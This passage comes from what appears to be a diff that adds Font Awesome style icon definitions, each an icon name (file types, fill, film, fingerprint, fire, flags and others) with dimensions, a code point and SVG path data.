104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-download": [384, 512, [], "f56d", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-excel": [384, 512, [], "f1c3", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-export": [576, 512, [], "f56e", "M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z"], + "file-image": [384, 512, [], "f1c5", "M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z"], + "file-import": [512, 512, [], "f56f", "M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z"], + "file-invoice": [384, 512, [], "f570", "M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z"], + "file-invoice-dollar": [384, 512, [], "f571", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z"], + "file-medical": [384, 512, [], "f477", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z"], + "file-medical-alt": [448, 512, [], "f478", "M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-pdf": [384, 512, [], "f1c1", "M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z"], + "file-powerpoint": [384, 512, [], "f1c4", "M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z"], + "file-prescription": [384, 512, [], "f572", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-signature": [576, 512, [], "f573", "M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z"], + "file-upload": [384, 512, [], "f574", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-video": [384, 512, [], "f1c8", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z"], + "file-word": [384, 512, [], "f1c2", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "fill": [512, 512, [], "f575", "M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z"], + "fill-drip": [576, 512, [], "f576", "M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z"], + "film": [512, 512, [], "f008", "M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"], + "filter": [512, 512, [], "f0b0", "M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z"], + "fingerprint": [512, 512, [], "f577", "M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z"], + "fire": [384, 512, [], "f06d", "M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z"], + "fire-alt": [448, 512, [], "f7e4", "M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z"], + "fire-extinguisher": [448, 512, [], "f134", "M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z"], + "first-aid": [576, 512, [], "f479", "M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "fish": [576, 512, [], "f578", "M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"], + "fist-raised": [384, 512, [], "f6de", "M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z"], + "flag": [512, 512, [], "f024", "M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z"], + "flag-checkered": [512, 512, [], "f11e", "M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z"], + "flag-usa": [512, 512, [], "f74d", "M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 